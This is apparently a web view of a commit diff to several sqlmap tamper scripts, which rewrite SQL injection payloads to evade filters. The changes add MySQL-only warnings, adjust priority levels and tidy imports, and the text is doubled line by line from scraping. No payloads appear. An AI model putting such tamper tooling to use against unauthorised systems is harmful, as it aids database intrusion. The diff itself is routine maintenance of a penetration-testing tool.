from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH __priority__ = PRIORITY.HIGH
def dependencies(): def dependencies():
pass singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
+2 -1
View File
@@ -9,12 +9,13 @@ import os
import re import re
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH __priority__ = PRIORITY.HIGH
def dependencies(): def dependencies():
pass singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
+1 -1
View File
@@ -9,7 +9,7 @@ import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
pass pass
+5 -1
View File
@@ -5,12 +5,16 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
pass singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
+1 -1
View File
@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
pass pass
-2
View File
@@ -61,5 +61,3 @@ def tamper(payload, **kwargs):
break break
return payload return payload

Some files were not shown because too many files have changed in this diff Show More